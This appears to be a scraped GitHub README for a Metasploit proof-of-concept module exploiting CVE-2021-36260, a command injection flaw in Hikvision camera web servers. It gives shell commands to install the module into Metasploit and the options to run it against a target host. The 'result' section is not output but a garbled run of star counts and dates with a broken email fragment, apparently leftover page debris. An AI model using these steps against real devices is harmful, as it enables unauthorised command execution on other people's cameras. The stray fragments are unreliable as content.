CVE-2021-36260-metasploit
the metasploit script(POC) about CVE-2021-36260. A command injection vulnerability in the web server of some Hikvision product, attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.
preparation POC
git clone https://github.com/TaroballzChen/CVE-2021-36260-metasploit
cd CVE-2021-36260-metasploit
mkdir -p ~/.msf4/modules/auxiliary/scanner/http
cp hikvision_web_server_build_210702_command_injection.py ~/.msf4/modules/auxiliary/scanner/http/
chmod +x ~/.msf4/modules/auxiliary/scanner/http/hikvision_web_server_build_210702_command_injection.py
msfconsole
POC usage
set rhost <vuln ip/host>
set port <vuln port>
set ssl <default: false for http>
exploit
result
59 Nov 26, 2022
4 Dec 07, 2021
3 Oct 05, 2022
6 Jan 22, 2022
4 Apr 27, 2022
17 Aug 14, 2022
10 Oct 19, 2022
224 Aug 05, 2022
17 Nov 11, 2022
1 Dec 29, 2021
1.4k Jan 01, 2023
2 Dec 16, 2021
16 Aug 30, 2022
2 Jul 17, 2022
[email protected]">
388 Dec 27, 2022
15 Dec 22, 2022
2 Feb 12, 2022
5 May 10, 2022
2.7k Jan 09, 2023
25 Aug 13, 2022